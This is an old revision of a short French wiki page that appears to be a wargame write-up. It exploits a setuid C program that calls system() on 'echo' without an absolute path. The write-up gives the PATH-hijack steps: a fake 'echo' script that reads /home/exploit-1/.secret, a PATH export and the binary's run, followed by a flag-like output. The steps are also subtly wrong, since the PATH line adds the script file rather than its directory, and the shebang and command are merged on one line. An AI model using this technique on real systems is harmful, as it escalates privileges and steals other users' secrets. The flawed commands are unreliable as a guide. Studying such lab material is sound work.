Ceci est une ancienne révision du document !
Source :
#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
int main(){
gid_t gid = getegid();
uid_t uid = geteuid();
setresgid(gid, gid, gid);
setresuid(uid, uid, uid);
system("/usr/bin/env echo Find the flaw!");
return EXIT_SUCCESS;
}
la commande system() appelle echo sans son path absolu, mais en se basant sur la variable d'environnement PATH. Il faut donc redéfinir la commande (ex : /tmp/echo)
#! /bin/bash cat /home/exploit-1/.secret
Puis, on ajoute son chemin dans le PATH de l'environnement :
$ export PATH=/tmp/echo:$PATH
./vulnerable eg3fa3Eing